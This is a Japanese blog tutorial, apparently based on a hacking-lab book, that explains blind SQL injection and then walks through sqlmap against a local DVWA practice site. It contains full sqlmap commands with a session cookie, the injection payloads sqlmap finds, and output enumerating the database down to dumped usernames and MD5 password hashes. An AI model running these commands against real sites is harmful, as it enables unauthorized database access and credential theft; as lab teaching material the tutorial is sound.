ブラインドSQLインジェクションとは?実際にやってみる

WEBアプリケーション

この記事では、ブラインドSQLインジェクションについての説明、DVWA に対して実際にブラインド SQL インジェクションを行う方法を紹介します。

ブラインドSQLインジェクションとは?

SQL インジェクションは知ってるけどブラインドSQLインジェクションって何?って人は多いと思います。私もそうでした。

ブラインドSQLインジェクションとは、SQL 文の出力結果が直接表示されないような WEB サイトに対しても、そのレスポンスの結果から間接的にデータを窃取する攻撃手法です。

これだけだとイメージがつきにくいと思うので、例を交えながら説明していきます。

どんなサイトに対して使われる攻撃?

「SQL 文の出力結果が直接表示されないような WEB サイト」と説明しましたが、言い換えると「問い合わせても YES/NO でしかレスポンスが返されないような WEB サイト」のことです。

前回記事で使用していた WEB サイトでは、ユーザIDを入力すると、そのIDに対応する名前がレスポンスとしてページ上に表示されました。

このようなサイトだと、SELECT 文の出力をページ上に表示しているため、SQL インジェクションで様々なデータをWEBページ上に表示させることが可能です。

対して、以下のようなサイトだと ID が存在する/しない という結果しか返ってこないため、SELECT 文の出力をページ上で確認できずデータの中身がわかりません。

こういったページに対してデータの窃取を行う攻撃手法がブラインド SQL インジェクションです。

ブラインド SQL インジェクションの仕組みは?

「レスポンスの結果から間接的にデータを窃取する攻撃手法」と説明しましたが、これだと全くイメージが湧かないと思います。
レスポンスといっても YES しか返ってこないため、これではデータの中身などわかりません。

ただ、YES/NO のレスポンスも、複数回行うことで1つの答えにたどりつくことができます。
たとえば、1 文字目は「a-z」の値ですか?という質問をし、YES が得られたとします。その後に「a-g」の値ですか?という具合にどんどん範囲を絞って問い合わせを繰り返すことで、1文字目が何の値か特定することが可能です。

SQL 文を不正に実行することでこの仕組みを利用し、YES/NO しか返さないサイトから特定のデータを取得することができます。

ただ、この方法を手動で行うには大変な時間と労力を要します。
そのためツールを用いてブラインドSQLインジェクションを行う方法をこれから紹介します。

ブラインドSQLインジェクションの準備

ブラインド SQL インジェクションには「sqlmap」というツールを使います。
Kali 2020.1 にはデフォルトでインストールされているため、別途インストールする必要はありません。

なお、「sqlmap」で SQL 文を送信するにはそのページにアクセスできる状態である必要があります。
DVWA の WEB サイトはログインが必要なため、Cookie 情報 がわからないとページにアクセスできません。
そのため、まずは DVWA にアクセスしているときの Cookie 情報 を入手します。

「ハッキングラボのつくりかた」ではプロキシサーバを立てて Cookie の値 を入手する方法が記載されていましたが、ここでは Firefox の開発者オプションで取得します。

まず、Kali で Firefox を起動し、DVWA にログインします。
ログインした状態で、WEB Developer > Network の順にクリックします。

すると、以下のようにウィンドウが開かれます。
該当ページをクリックすると右部に各種情報が表示されるので、その中の 「Cookie:」箇所に Cookie の値が記載されています。
※表示されない場合はページを更新してください

この 「security=low; PHPSESSID=inh4p0c64uk8v5rdb1sn2sbrfc」を控えておきます。

sqlmap を実行する

以下の構文で sqlmap を実行できます。

sqlmap -u "クエリ込みのURL" --cookie="Cookie"

上記コマンドを実行すると、該当URLに SQL インジェクションの脆弱性があるか確認することができます。

root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=inh4p0c64uk8v5rdb1sn2sbrfc"

---中略---

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3456=3456 AND 'aoDo'='aoDo&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 4981 FROM (SELECT(SLEEP(5)))Eeqg) AND 'gBnD'='gBnD&Submit=Submit

上記のように、ブラインド SQL インジェクションの脆弱性が2つ存在することがわかりました。

上記コマンドにオプションを付与することで、ブラインド SQL インジェクションにより様々な情報を取得することができます。

ここでは、ブラインド SQL インジェクションにより、DVWA にログインするユーザ/パスワードハッシュを入手するまでの流れを説明します。

流れとしては以下となります。
データベース名の取得テーブル名の取得カラム名の取得カラム内のデータ取得

データベース一覧の取得

「–dbs」オプションを付与することでデータベースの一覧を取得します。

root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=inh4p0c64uk8v5rdb1sn2sbrfc" --dbs

---中略---

available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

4つのデータベースが存在することがわかりました。DVWA にログインする情報を取得したいので、DVWA を追います。

テーブル一覧の取得

DVWA に存在するテーブルを取得します。
「-D dvwa」「–tables」オプションを付与することで、DVWA のテーブル一覧が取得できます。

root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=inh4p0c64uk8v5rdb1sn2sbrfc" -D dvwa --tables

---中略---

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

guestbook、users という2つのテーブルが確認できました。
users という名前から、ユーザ情報が格納されていると推測できるため、users テーブルを追います。

カラム名の取得

users テーブルのカラムを取得します。
「–column」オプションを付与することで、カラム名が表示されます。
DVWA の users テーブルにあるカラムを取得するため、「-D dvwa」「-T users」オプションも付与します。

root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=inh4p0c64uk8v5rdb1sn2sbrfc" -D dvwa -T users --column

---中略---

Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

password というカラムが存在することが確認できました。パスワード情報が格納されている可能性が高いです。

格納されているデータの取得

カラム名まで特定したので、そこに格納されているデータを取得します。
「–dump」オプションを付与することで、格納されているデータを取得することができます。
DVWA の user テーブルにある user 及び password カラムのデータを取得したいので、「-D dvwa」「-T users」「-C user,password」オプションも合わせて付与します。

※パスワードハッシュを一時保存するか、パスワードクラックを行うかといったメッセージが表示されますが、今回は行いませんでした。

root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=inh4p0c64uk8v5rdb1sn2sbrfc" -D dvwa -T users -C user,password --dump

---中略---

Database: dvwa
Table: users
[5 entries]
+---------+----------------------------------+
| user    | password                         |
+---------+----------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+

これで、ユーザ名とパスワードハッシュの一覧を取得することができました。
このパスワードハッシュの解析方法は、以下記事で紹介しています。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第7章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました